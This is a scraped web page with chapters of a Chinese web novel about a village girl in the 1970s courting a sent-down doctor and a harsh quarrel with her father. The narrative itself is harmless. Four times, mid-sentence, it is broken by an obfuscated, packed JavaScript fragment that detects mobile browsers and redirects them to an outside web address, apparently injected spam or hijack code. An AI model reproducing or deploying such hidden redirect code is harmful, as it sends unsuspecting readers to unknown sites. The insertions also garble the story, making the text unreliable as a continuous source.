l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478210|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻,替她把厨房收拾好了。 钱小满顿时像是被打了鸡血,动力满满。真不知道梦里的自己在作什么,这可是吃完饭会主动洗碗的男人,比她哥强多了。 晚上,钱金宝嚷嚷着肚子饿,在厨房翻箱倒柜,没找到下午剩下的三个白面馍,只能把剩下的半碗稀饭喝了。 钱小满和母亲在院子里泡脚,姚红霞抬头看了她一眼,钱小满心虚地垂下脑袋。 “我我怕他半夜饿,就把剩下的三个馍给他装上了。” 姚红霞叹了一口气:“我今天观察了一下,跟你爹都觉得许医生是个好孩子,就是你俩不太合适。” 钱小满鼓着脸:“什么叫不合适?既然你们觉得他好,凭啥说我俩不合适?” “他是有难处的人,你俩眼界不一样,娘怕你一头热,最后落不着好。再说了,他要是对你献殷勤,我跟你爹反倒要提防。就怕他是一时利用你,将来万一有机会回城,变成陈世美,你哭都没地方哭。” 想不到娘想得这么长远,钱小满心里喜滋滋的,说明娘看好她和许医生! 她凑近了些:“娘,我又不傻,我图的就是他以后回城,他要是不能回城,我才不会多看他一眼。况且我爹是支书,他想把我撂在村里自己回城?门都没有,您就放心吧,你女儿聪明着呢。” 姚红霞被女儿这番言论吓了一跳,幸好这是在自个家里,不然这嫌贫爱富的话传出去,小满连婆家都不好找。 “你这孩子,这种想法自己憋在心里,以后别往出来讲。” 钱小满抱着母亲手臂:“我只跟您说心里话,你也觉得许医生以后会回城对吧?我就是想赌个大的,他只要能回城,我就能跟着他吃上商品粮。他可是医生,肯定是住单位分配的楼房,医生福利待遇又好,家属看病不用花钱,这些我全都考虑到了。” 姚红霞像是头一回认识到自己的小女儿,没想到这丫头平时看着咋咋呼呼,脑子却鬼精鬼精的。 她被女儿说得有些动容,谁不想让自家闺女嫁个好人家,少吃点苦?如果许医生没有下乡,她可能会有所顾虑,上嫁进去小满指不定要受多少委屈。如今许医生落难,两家算是门当户对,自家雪中送炭,以后若是发达了,他记得这份恩情。 “算了,你喜欢就自己想办法,你爹那里我跟他说,我们不会阻止你,但也不支持,一切看你自己。” 要是小满梦想成真,那两方欢喜。即便失败了,小满没理由怨他们当爹娘的。 钱金宝没等到母亲训斥妹妹,小声嘀咕大家太惯着小满。万一哪天嫁出去了,怕不是还要从娘家搬东西。 许柏年一路上慢吞吞走回卫生室,站在门口,轻轻揉着还没消化完的肚子。他推拒不过钱小满的热情,硬生生吃下了那个硕大的菜夹馍。他饭量小,正如钱小满说的那样,粮食不够吃,所以胃口变小。原先喝完稀饭已是七八分饱,再加上一个菜夹馍,撑得他几乎要扶着墙走。 他在门口歇了片刻,等胃里的胀闷感有所缓解,才从包里掏钥匙。手刚伸进去,便触碰到一块不属于钥匙的硬物。 屋里只点着一盏煤油灯,昏黄微弱的光仿佛随时会灭掉。许柏年坐在这昏暗的场景里,望着碗里的三个白面馍,怔怔出神。 4. 她爹真得锤她 钱小满和李杏花在坡上摘了两天酸枣,挖了不少黄芩根。她挑了农闲的一天,给爹打了招呼,借口给大姐送酸枣,实则和李杏花蹭大队进城的驴车去卖黄芩根。 虽说山上的一切物产都是集体的,但认识黄芩的人不多。李杏花的爷爷生前是赤脚医生,她和李杏花小时候经常跟在李爷爷身后去山上玩,认识了不少药材。俩人关系好,再加上忙活几天只挣一两块钱,钱多来心里有数,对此便睁一只眼闭一只眼。 这跟挖野菜是一个道理。春天遍地野菜,大家各凭本事,哪怕背地里悄悄卖了,只要不声张、不闹大,都是默认的规矩。除非人缘特别差,被人盯着举报,那就只能自认倒霉挨处罚了。 到了城里,俩人先去中药店卖掉黄芩根。店里的老师傅是李爷爷生前的好友,见是她们来,学徒手脚麻利地称好了重量,当场结了钱。 末了笑着叮嘱:“以后不管啥季节,遇上能用的草药,只管摘了挖了给我送来。你们俩心细,收拾得干净,又是野生的,药店正缺这种好货,分量多少都不碍事,聊胜于无嘛。” 钱小满把钱塞进自己的小荷包,笑眯眯道:“我们也不是每样都认识,只能从张爷爷您手里挣点零花钱。” 她打着哈哈糊弄了过去,她知道她爹给她开后门,所以和李杏花只挣点零用钱。真要天天上山挖药材,她爹真得锤她。 张师傅并不生气:“也是,小姑娘天天往山上跑不安全,你们遇到了再过来就是了。” 俩人道过谢后,手挽着手离开中药店。 钱小满要去姐姐家,李杏花要去姑姑家送东西,俩人约好一小时后在供销社门口见面。 钱小满拎着东西去了肉联厂。大姐住在肉联厂家属院,和姐夫是双职工,住的是单位分的平房。 钱金玉今天休假,她正在院子里洗衣服。 “姐!” 钱金玉惊讶抬头,随即笑了起来。只见她眉眼温和,穿着干净齐整,剪着一头齐耳短发,胳膊上戴着一对蓝色袖套。 “小满,你怎么来了?” 钱小满放下背篓,掏出一袋精心挑过、没被鸟儿糟蹋过的酸枣:“我去山上摘了酸枣点给你送来。”说完又压低声音,“顺便卖了点黄芩根。” 钱金玉无奈地摇摇头:“就为了挣那一两块钱,你看你又把自己晒黑了一截,以后怎么找婆家?” 钱小满气呼呼鼓着脸:“一两块钱也是我亲手挣的,我想怎么花就怎么花!” 钱金玉在围裙上擦了擦手:“你是大人了,不过你得注意别让人发现了。” “我知道,这个月就挖这一次,下个月山上柿子红了,我摘了晒柿饼,比草药好卖多了。” “你心里有数就行。中午留下来吃饭,你姐夫昨儿刚带回来一条五花肉,咱们做个回锅肉,正好再蒸一锅白面馒头,剩下的你带回去。” 钱小满喜滋滋跟在姐姐身后进屋:“这多不好意思呀,显得我像是来蹭吃蹭喝的。” 钱金玉一向疼爱妹妹:“就算今天你不来,这肉也是打算晚上带回家留给你们的。” 厨房盆里泡着一条大约两斤多点的五花肉,钱金玉每隔两小时换一次井水,用凉水镇着不容易变质。 钱小满眼睛直勾勾盯着肉。上一次吃肉还是在端午节,这都过去俩月了,她早忘了肉是什么滋味。 钱金玉把肉从盆里捞出来:“一半做回锅肉,另一半做红烧肉。” 钱小满咽了咽口水:“要不剩一半我带回去吧,我一个人吃独食多不好。” “日头这么毒,等你带回去就臭了。过两天我回趟家,让你姐夫弄点边角料我带回去,到时候你少吃点就是。” 钱小满觉得这个主意不错,又想起和李杏花约好一小时后在供销社见面,吃完饭肯定赶不上。 “姐,我能把杏儿喊过来一起吃吗?” 她和李杏花从小一起玩到大,姐姐也认识。 “可以是可以,你要想清楚她愿不愿意来,别弄的到时候两人闹不愉快。” 她倒不介意多一双筷子,只是妹妹爱吃肉,还有点护食。万一俩小姑娘因为吃肉闹僵了,以后相处尴尬。 钱小满害臊跺脚:“我哪有那么小气!再说杏儿是我从小一起玩到大的小姐妹,说不定以后咱们还是一家人呢。” 钱金玉顿时来了兴致:“什么意思?你二哥看上人家了?” “姐!”钱小满吓一大跳,“你可千万别乱点鸳鸯谱,是三哥暗恋杏儿,你想不到吧?!” 钱小满是在梦里知道的这件事,梦里自己只顾着跟许柏年大吵大闹,没有关注杏儿的人生大事。杏儿被她爹娘嫁到邻村,跟男方见过一面就结婚了。三哥休假回来和家里大吵一架,怪没人告诉他杏儿结婚的事。谁也不知道三哥喜欢杏儿,他从没表现出来,要是早知道,她肯定会帮三哥把杏儿娶回家。梦里三哥和杏儿私奔,结果坐的车翻了,俩人都没活下来。 钱金玉啧啧称奇:“想不到啊,老三藏这么深。我记得他从小就爱捉弄杏儿,把人家吓哭好几次,都是我给你们买糖果,才把杏儿哄好。” 钱小满抱着胳膊点头赞同:“三哥就是幼稚,喜欢人家还总欺负人,杏儿一直以为三哥讨厌她呢。” “你三哥还在部队,按往年算,还有俩月才休假。”钱金玉郑重叮嘱,“这事你别往外说,爹娘也别告诉,咱们当不知道,免得坏了杏儿的名声。” “杏儿是我好姐妹,我才不会到处乱说。姐你嘴严,我只告诉你一个。等三哥这次休假回家,我得刺激刺激他,免得他又幼稚的欺负杏儿。杏儿脾气好,肯定能治住三哥。” 钱金玉摸了摸妹妹的脑袋:“你去喊杏儿来吃饭吧,骑我的自行车过去,她姑姑在县医院当护士,你应该认得路。” 钱小满一下子雀跃起来,她早就学会了骑自行车,可惜只有来姐姐家才能摸一下。 她顶着烈日,骑着车一路慢悠悠晃着,兜着风到了县医院。刚进门诊楼,一眼就看见坐在长凳上的杏儿,正低头啃着黑面馍。 李杏花只是来给姑姑送东西,姑姑正在上班,她贴心的没有上门打扰,而是待在门诊大厅消磨时间,等时间差不多了去供销社找钱小满。 “杏儿,你的事忙完了吗?”钱小满突然出现在她面前。 李杏花没想到小满会主动找过来,忙把黑馍塞进口袋,抬起袖子替钱小满擦掉额头上的汗珠:“你怎么过来了?咱们不是说好在供销社门口见吗。”她还以为小满会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478211|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留在姐姐家吃饭。 钱小满把她兜里的黑馍掏出来,咬了一口,皱起眉头:“这么硬的高粱馍,你咋咬得动?” 李杏花丝毫没觉得难堪,反倒大大方方掰了一半分给她:“你没吃饭吧?别嫌硬,总比饿着强。” 钱小满把黑馍塞回她手里:“我不吃,硬得硌牙。我是来接你去我姐家的,她让我喊你过去吃饭。” “不行不行,我不能去,我空着手去蹭饭多不好意思。”李杏花满脸抗拒。 钱小满几乎是拖着她往外走:“吃顿饭而已,把你吓得,赶紧跟我走。” 路过供销社,李杏花扯了扯她的衣服:“小满,停一下车,我想进去买点东西。” 钱小满蹬车的动作没停,不用想就知道杏儿的想法:“我姐看着咱俩长大的,不用来这套,你去我家玩难道还带东西?” 李杏花一路怀揣不安,只能祈祷金玉姐不要做得太丰盛,煮碗面条就行。 “姐,我带杏儿过来了。”钱小满把自行车停在院墙边的阴凉处。 钱金玉从厨房探出头:“桌上有汽水,给杏儿开一瓶,你们先歇会儿看看电视,饭还得一会儿。” 李杏花挽起袖子:“金玉姐,我来给你搭把手。” “不用,厨房小,站不下两个人。”钱小满按着她坐下,又开了两瓶汽水。 这是李杏花第一次喝汽水,她小心尝了一口,眼睛眨了眨。 “怎么样?好喝吗?” 李杏花不好意思地抿了抿唇:“有点冲脑子,还挺甜的。” 钱小满一口气喝了半瓶,嘴里含糊不清:“习惯就好了,汽水很好喝的。” 李杏花小口小口地品尝,突然想起一件事。 “对了,我在医生办公室墙上看见许医生的照片了。我姑姑说他以前在县医院工作,可有名了。” 钱小满立刻来了兴趣:“快跟我讲讲!” “我姑姑没说太多,就说许医生是外科的主治医师,给医院不少医生上过培训课。后来惹上了麻烦,主动申请调去了乡下,院领导都特别舍不得他。” 钱小满连忙追问:“什么麻烦?”梦里完全没有这回事。 “我姑姑没说,估计是忌讳。要是小事儿她早说了,连在医院都不敢多提。” 钱小满的好奇心被勾了起来,结果吊着不上不下的,连吃饭都在走神。 厨房里很快飘出勾人的香味儿。 钱金玉把菜端上桌:一盘土豆片炒回锅肉、一碗红烧肉、一盆西红柿鸡蛋汤、一盆白面馒头。 李杏花坐在桌边,手脚都不知道往哪儿放,筷子捏在手里半天不敢动,她局促地攥着衣角,眼神不敢往菜上多瞟。 钱小满更是没心思吃饭,脑子里还想着许柏年的事,一副心不在焉的模样。 这时,姐夫下班回来了。 钱金玉笑着招呼:“快洗手吃饭,就等你了。这位是小满的好朋友。” 姚大壮洗了手落座,看见桌上的菜,爽朗一笑:“今儿吃这么丰盛?幸亏没在食堂对付。别客气,都动筷子。” 姚大壮话不多,一个劲让她们多吃。李杏花依旧有些拘束,钱小满拿起白馒头就着红烧肉大口吃着,却没尝出滋味。 5. 万一他对你有意思呢 吃过饭,姚大壮去上班,他弟弟姚小强来了,他过来是把两个侄子送回家。 他自行车前面坐着小侄子,后面坐着大侄子。 “嫂子,我把振国振兴送回来了。还有一周开学,这俩小子暑假作业只写了一半,再写不完开学就要留级了。” 钱金玉抄起扫帚在俩儿子屁股上抽了两下:“好啊,你们故意把作业放家里了是吧?幸好你们二爸及时发现了,不然报名又要丢我的脸。” 她的大儿子姚振国开学升五年级,老二姚振兴升三年级,两兄弟不爱读书,尤其不喜欢写作业,每次都要拖到睡觉前才能磨磨蹭蹭写完。 姚振国捂着屁股在院子里乱窜,嘴硬道:“我们没有故意不写暑假作业,就是少拿了!” 姚振兴躲在哥哥身后,瘪着嘴巴要哭不哭的样子。 钱金玉见他不知悔改的态度,拎着扫帚要继续抽,钱小满连忙把她拦下来。 “姐,消消气,开学还有一周呢,振国振兴肯定能写完。”说完回头冲两个外甥拼命使眼色,让他们赶紧进屋。 钱金玉气得胸脯剧烈起伏:“这俩臭小子,一天天净知道玩,让他们学习跟害他们似的。” 姚小强不经意瞥见钱小满,瞬间眼睛亮了:“小满妹妹,你今天怎么有空来了。” 钱金玉压下怒火,笑着解释:“小满摘了点酸枣,待会儿给你爸妈带些回去。” “好勒,嫂子,小满摘的酸枣肯定特甜。”姚小强寸步不离地跟在钱小满身后献殷勤:“我最近新学了烫卷发,还给我嫂子和你娘烫了,你喜欢不?我给你也整一个。” 钱小满想起她娘从姐姐这里烫完头发回家,隔天起床头发炸成一窝,她心有余悸地拒绝了:“不用了,我喜欢扎辫子。” 虽说烫头在城里很时兴,但姚小强是学徒,钱小满不想让他在自己头上锻炼技术。 从姐姐家离开,钱小满本想和李杏花再去一趟县医院,打听许柏年在医院发生了什么事。结果两个外甥要去她家,姐姐想让她帮着监督他们写作业,连口粮都给准备好了,于是只能等有机会再让杏儿帮自己打听一下。 到了村里,振国振兴背着小书包,撒起脚丫子在田坎上狂奔。李杏花一路上憋了好久,终于有机会问出来。 “红霞姐她婆家的弟弟是不是对你有意思啊?我看他对你殷勤的不得了,巴巴地跟在你身后。” 钱小满想也不想,一口否决:“怎么可能,他就是想拿我练手烫头罢了。” “万一他对你有意思呢?”李杏花觉得自己不会看错,那个男同志就比她们大两岁,喜欢小满也很合理。 “他喜欢我,关我什么事,我又不喜欢他。”她对许柏年势在必得,就算没有他,她也不可能喜欢姚小强,他长得不好看。 钱小满把从姐姐家带回来的馒头放到厨房,两个侄子的口粮放在堂屋的八仙桌上,等娘回家处理。 她对着镜子把凌乱的辫子重新编了一遍,又扯了扯衣服,出门寻找两个小侄子,顺便偶遇许柏年。 这会儿正是知青点做饭的时候,钱小满一眼就看见了人群里白得发光的文知雅,特别瞩目。 她强迫自己把注意力从对方身上挪开,心里酸酸地想:不就是白了点吗,瘦得跟个麻杆似的。 许柏年不在知青点,钱小满猜他可能在卫生室。 果不其然,还没走近就看见卫生室有人,钱小满迎面碰上从卫生室出来的牛二婶:“婶婶,你生病了?”她嘴上关心,眼神早已飘到屋里。 牛二婶眼神躲闪:“我过来问个事,你是来看病的?许医生要下班了,要看病得抓紧时间。” 钱小满立即接话:“那先不说了,我进去了。”说完便一路小跑,气喘吁吁地推门而入。 许柏年刚从后院洗完手回来,只见他左手端着一碗凉开水,右手碗里放着两个黑面馍馍,俩人碰了个正着。 钱小满没想到他吃得这么简陋,下意识脱口而出:“你怎么不去知青点跟他们搭伙做饭?” 话一出口她就后悔了,知青点里是有歧视链的,而且内部抱团严重。大城市知青瞧不起小地方来的知青,他们又统一瞧不起那些劳动改造的人,劳改是歧视链最底端。 许柏年受家庭背景的影响,介于两者之间。知青点不承认他是知青、排斥他。可他只是名义上接受劳动改造,并没人看管,在村里能自由活动。 许柏年神色淡淡,他垂着眼把晚饭放在桌上,转身回厨房拿出三个白面馍,走到钱小满面前,递给她:“谢谢你的好意,不过我不能收,你拿回去吧。” 钱小满张着嘴,一时间说不出话来。这都第三天了,他竟然能忍住不吃,换她一顿就造完了,她嫌弃道:“我不要,放了三天肯定变味儿了,你自己留着吃吧。” 说完她就想抽自己,明明不是这个意思,话从嘴里出来怎么这么讨人厌。 她连忙补救:“这是我娘特地留给你的,让你带回家给你爷爷奶奶。我怕你不收,所以偷偷塞你包里了。”许柏年的软肋是他爷爷奶奶,只要提到两位老人,他肯定会犹豫。 许柏年闻言神色微微动容,却还是摇了摇头,执意将白面馍还给她:“心意我领了,东西你带回去吧。” 钱小满干脆把脸一偏,死活不肯接:“我都说了不要,反正我是不会拿回去的。” 许柏年保持着动作一动不动,定定望着她,大有她不接就一直耗下去的意思。 钱小满眼珠一转,忽然有了主意,亮闪闪的眼睛看向他:“不然这样吧,你帮我个忙,就当是换馍的报酬。” 许柏年眼里闪过疑惑。 “我两个小侄子暑假作业还没写完,我姐让我帮忙监督他们俩写作业,我早就忘光了课本内容。你帮我辅导他们数学,直到写完为止。这馍就当是辛苦费,总可以了吧?” 她皱着小圆脸:“再说这馍都放三天了,就算你还给我,我也不可能吃的。” 许柏年一时有些羞赧,僵持片刻,终是点头应下了。 钱小满见他总算松口,心满意足,距离自己接近他的目的越来越近了。约好了补课时间,她便欢欢喜喜地离开了。 等人走后,许柏年小心翼翼收起白面馍,傍晚时分带去了爷爷奶奶住着的养牛的破窑洞。 奶奶给他倒了一碗水,端出小半碟腌菜,从柜子里翻出两块干巴的黑面馍馍。 “奶奶,别费心了,我给你们带了东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478212|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 许柏年从布包里拿出三个白面馍,放在黑面馍上。白面馍的出现让昏暗的窑洞都变得亮了些,奶奶脸上露出温和的笑:“这是从哪儿弄来的?” 他温声道:“帮别人家孩子辅导作业换的。” “既然帮人家辅导功课,就得认认真真教,不能糊弄。”爷爷在一旁提醒。 许柏年点点头:“我知道。” 祖孙三人就着凉开水吃馍,爷爷奶奶一人一个,剩下一个硬是塞到许柏年手上。他推辞不过,只得跟着一起吃。 北方气候干燥,馍放了三天并没变质,只是外皮有些干巴,少了点水分,没有刚蒸出来那么软乎。 另一边,钱小满在村里找到玩疯了的侄子,一手牵一个带他们回家,告诉他们从明天起会监督他们俩写暑假作业,她专门找了老师来辅导,休想蒙混过关。 钱小满是家里学历最高的一个。大姐出生时家里穷,跟二哥三哥只念过小学,认得几个字、会点简单算术。她上初中那会儿已经乱起来了,三天两头停课,天天出去劳动,高中又停招,读完初中就回家了。 去年她自信满满帮侄子辅导功课,结果一半都是错的,害得两个侄子被老师罚重写。今年他们又升了一年级,她说什么都不会亲自帮忙了。 兄弟俩面面相觑,随即一人抱着钱小满一条腿干嚎:“小姨我们不要老师辅导作业,我们会自己写的。” 钱小满坚决摇头:“不行,我已经跟人说好了。”紧接着话锋一转,“这关乎你们小姨的人生大事,你俩给我好好表现,不准捣乱,听见了没有!” 一听有八卦,俩兄弟瞬间不闹腾了,扒着她不停打听。 姚振国仰着小脑袋:“小姨,你的人生大事是什么?” 钱小满被问得语塞,伸手敲了敲他的小脑袋:“小孩子家家别乱打听,到时候你们就知道了。总之明天都给我乖乖听话,不许调皮捣蛋,不然看我怎么收拾你们。” 姚振国眨巴着眼睛,一脸恍然大悟:“我知道了!小姨是要给我们找小姨夫啦!” 第二天,许柏年如约而至。 他依旧穿着那件洗得发白的衬衫,背着挎包,额头沁着一层薄汗。 姚振国和姚振兴双手规规矩矩放在桌上,看着乖巧老实,眼底满是好奇,不住打量着他。 钱小满倒了一杯凉茶,放到他面前:“许医生,喝茶。”她特地梳洗打扮了一番,身上带着淡淡的茉莉花香。 “谢谢。”许柏年道了谢,开始翻看两个孩子的暑假作业,越看眉头越皱。 钱小满心脏跟着提了起来,比两个侄子还要紧张,竟然有种被老师检查自己作业的压迫感。 许柏年放下作业,摇了摇头:“错题太多,擦掉重写吧。” 得亏小学作业都是铅笔写的,只是苦了两个小家伙。他们本想着糊弄过关,小姨肯定看不出来,谁料来了位这么厉害的老师。 振国和振兴眼巴巴地望着小姨,希望她能帮忙说情,谁知小姨无情拒绝。 “忘了去年老师罚你们重写了?就算现在不改,开学了老师一样能检查出来,你们看着选吧。” 两个小孩顿时像打了霜的茄子,彻底蔫了。 6. 啥时候嫁闺女啊 从地里下工回家的村民路过支书家,发现许医生竟然在支书家院子里。 两个小孩坐在中间,钱小满坐在另一边,许柏年坐在对面,四个人围着一张桌子,脑袋凑在一起,乍一看还以为是一家四口,定睛一看两个孩子是钱家的外甥。 有好奇的人隔着篱笆跟钱小满打招呼:“小满,你们这是在干啥呢?” 钱小满抬起头,对着院外大声回道:“我请许医生过来给振国振兴辅导暑假作业,写不好要留级。” 她这番话打消了外面的人看热闹的心思,原来是辅导作业,还以为支书要嫁闺女了呢。 振国咬着笔头死活算不出来,钱小满凑过去看了一眼,皱着眉头吐槽:“这题我也不会,题目真奇怪,为什么非要把鸡和兔子关在一个笼子里呢,谁家这么养啊。” 许柏年看了她一眼,没说话,低头给振国讲了一遍。 钱小满竖着耳朵听,听完一副恍然大悟的样子。 振兴抬起头,天真地问:“小姨你不是读过书吗,我娘说你是家里最有文化的人,为什么你也不会?” 钱小满脸一红,嘴硬道:“我会,我就是考考你,自己的作业自己写,不要总想着靠我。” 许柏年嘴角动了动,没笑出来,但低头的时候,睫毛垂下去,像是忍住了。 傍晚时分,钱多来开完会回家,一路上迎着村民们围在一起窃窃私语的目光,有点摸不着头脑。 跟他关系不错的人打趣道:“叔,啥时候嫁闺女啊,咱们村又要有喜事了?” 钱多来心里咯噔一声,面上佯装淡定,笑着道:“你这娃,胡咧咧啥呢嘛,金宝银宝都没娶上媳妇,小满还得过两年。” “叔,我可没胡说,村里都在说你要嫁闺女,许医生下午可都去你家了。” 钱多来顿时脸一黑,背着手往家走。 路过李杏花家,不经意瞥见自家闺女在人家屋里搓麻绳,不知道在说什么,乐得笑开了花,钱多来黑着脸怒斥:“小满,赶紧跟我往回走!” 钱小满放下手上搓了一半的麻绳,对李杏花吐了吐舌头:“我回家了。” 李杏花满是担忧:“你回去会不会挨打?”毕竟支书看起来怒气冲冲的样子,很像要对小满动手。 “放心,我爹就是看起来凶,他不会打我。”钱小满信誓旦旦保证,她从小就没挨过几次打,有二哥三哥护着她。 钱多来只觉得一股怒火憋在胸腔随时要喷发,刚进家门他就忍不住骂道:“你羞仙人呢!你真是左脸皮撕给右脸皮,一半不要脸一半皮真厚呀。你咋好意思上赶着倒贴,你真是一天让人拿沟子把你都笑话了,我这老脸让你羞没了。” 钱小满跟着进门,猝不及防被劈头盖脸一顿骂,她不可置信地瞪圆了眼睛,很快眼里蓄满了泪水。 从小到大,爹第一次用这么难听的话骂她,隔壁还有人趴在院墙上看热闹,她只觉得脸上火辣辣的疼,像是被当众扇了几巴掌。 眼泪大颗大颗往下掉,她抹了一把眼泪:“我就是不要脸、我就是厚脸皮,你面子最大!”说完她撒起腿往外面跑。 钱多来在后面大喊:“你干甚去,你敢跑我把你腿打断!” 钱小满头也不回地跑了。她不知道自己该去哪里,她不想让杏花担心,去城里投奔姐姐又太晚了,只能往人少的地方跑。 她一口气跑到了村尾,跑不动了,蹲在路边喘气。 天快黑了,乌云压得很低,闷得人喘不过气。她看着地上的蚂蚁搬家,眼泪又止不住掉下来。 她爹那些话翻来覆去在她脑子里回放。她从小到大没挨过这么重的骂,还是当着隔壁看热闹的人骂的。 她抹了一把眼泪,站起来,不知道该往哪儿走。 往前走是进山的路,天快黑了,看着又要下雨,她不敢去。往回走是回家,她不想回去。 她站在路边,不知道该往哪儿去。 这时候,旁边窑洞的门开了。 许爷爷出来收晾在门口的干草,抬头看了看天,怕雨下来把草淋湿。 一低头,看见她站在门口不远处。 “这不是支书家的小闺女吗?”他喊了一声,“天都黑了,你怎么一个人站在这儿?快下雨了,赶紧回去吧。” 钱小满没动。 许爷爷看了看她,又看了看天,犹豫了一下。 “要不你先进来坐一会儿?这雨眼看就要下了,你一个人站外头不安全。” 许奶奶看见是个眼睛通红的小姑娘,对她招招手:“快进来快进来,别淋着了。” 钱小满抹了把脸,跟着进了窑洞。 许奶奶拿了条干毛巾递给她,又倒了碗热水。 “擦擦,看你这一头汗。” 钱小满接过碗,没吭声。 许爷爷把干草抱进来,关上门,外头的风已经起来了,云层上开始有轰隆隆的雷声。 “你先在这儿待着,等雨停了再回去。” 许奶奶没问她为啥一个人跑出来,也没问她发生了什么事,只是把炕上的旧被子往里边挪了挪,腾出块地方让她坐。 姚红霞带着两个外甥回家,看见院子里黑着脸的丈夫,目光扫视了一圈家里:“小满还没回来吗?” 钱多来一巴掌拍在桌上,仿佛感受不到疼,还未消散的怒气迁怒到妻子身上:“你看你生的好闺女,一天天脸都不要了,扒着人家倒贴,你咋生出来的这种货。” 两个小朋友被吓了一跳,姚红霞让他们俩进屋玩,随即脸上的笑容淡了下来。 “你犯什么病?好端端的骂你闺女,当初要知道你是这么个狗德性,你看我嫁不嫁给你。” 姚红霞在她娘家那边是十里八乡出了名的美人,她们那地方盛产美女。当年还有钢厂职工看上她,愿意给她安排工作,她是看在钱多来踏实稳重,模样周正,所以才嫁过来。哪怕上了年纪,也仍然风韵犹存。 钱多来被媳妇这么一骂,一下子冷静了。 “你知道你闺女今天干了啥事?她把许医生喊来家里,坐在院子里有说有笑,人家都以为咱们要嫁闺女了。” 姚红霞翻了个白眼:“别人说啥你就信啥,我看你这支书是白当了,赶紧退休算了。小满找许医生上门,是为了给振国振兴辅导作业。你大闺女给咱们家送了十斤白面,振国振兴俩小子一周哪吃得完这么多?她就是借这个机会,悄悄贴补咱们家。小满记着她姐姐的好,才找了许医生,咱村还有谁比许医生学历高?” 钱多来心里的火气瞬间偃息旗鼓,变得不知所措起来:“我我这不是不知道吗,我一路回来,他们都恭喜我要嫁闺女了,又说的有模有样,我气昏了头。” 姚红霞没好气道:“你气昏了头,但也不能这么骂你闺女,不分青红皂白骂那么难听,得亏只是在我面前,要是让小满听见得多伤心。”说完她挽起袖子准备做饭,“小满是不是在杏花家?金宝回家让他去把小满喊回来。你说你都一把年纪了,说话怎么变得越来越难听。” 钱多来不敢跟妻子对视,他心虚,不敢告诉她小满被自己骂出家门的事,只能寄希望于金宝身上。 到了吃晚饭的时间,一家人坐在院子里等开饭,钱金宝从李杏花家回来,进院子诧异地挠了挠头:“小满不在啊,杏花说下午爹气冲冲把小满喊回家,就没看她了。” 钱多来放下刚端起的碗,姚红霞盯着他:“我回家那会儿,小满去哪儿了?” 他尴尬地咳了两声,移开视线:“我就说了她两句,她自个儿跑出去了。” 姚红霞狠狠剜了丈夫一眼,让钱金宝带两个孩子先吃饭,自己去隔壁邻居家问情况。 回到家,姚红霞没好气地把饭菜端走:“金宝,带着孩子们进屋去吃饭,你爹他今天不配吃晚饭。” 振国和振兴兄弟俩不明白发生了什么,只是仰着小脑袋问舅舅他们小姨去哪儿了。 钱金宝让他俩端上饭碗,带着他们进屋:“你俩先吃饭,我跟你们外婆出去找小姨。” 天都快黑了,而且乌云密布,看起来要下暴雨,小满不在杏花家,不知道跑哪去了。 钱多来被妻子和儿子无视,他意识到冤枉了女儿,又怕自己出去找小满不跟他回来,于是嚅嗫道:“我守着振国振兴吃饭,你们娘俩去吧。” 姚红霞懒得搭理他,拿上手电筒,带着儿子出了门。 钱金宝跟在母亲身后:“娘,爹是不是骂了小满?” 想到在邻居家打听到的情况,姚红霞拧着眉头:“你爹今天做得太过分了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478213|201603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不分青红皂白骂了小满,隔壁都听到你爹骂小满不要脸,不知道的还以为咱们家小满干了啥事呢,最后小满是哭着跑出去的。” 钱金宝一听心都揪了起来,从小到大谁敢这么欺负妹妹,结果他爹做到了。 “娘,我跑得快,我到处找找,你就在亲戚朋友家找找。” 钱多来坐在堂屋里,振国振兴已经吃完了饭,老老实实地在炕上写作业。 他一个人坐在桌前,饭菜一口没动。他把脸埋在手掌里,闷声骂了自己一句。 这碎娃从小到大,他连根手指头都舍不得碰。今天倒好,一张嘴就把人骂跑了。 外头雷声轰隆隆响起来,他看了一眼门外。天已经黑透了,雨开始往下落。 他想起闺女小时候,有一回跟银宝吵架,银宝推了她一把,她摔在地上哇哇哭。他追着银宝满院子打,银宝跑得快,他没追上,回来给小满买了颗糖,她就笑了。 那时候多好,一颗糖就能哄好。 现在呢?骂出去的话收不回来,人也不知道跑哪儿去了。 他起身去门口站着,雨越下越大。 母子俩在村里找了一个多小时,都说没看见钱小满,直到有人说看见钱小满去了进山的方向。 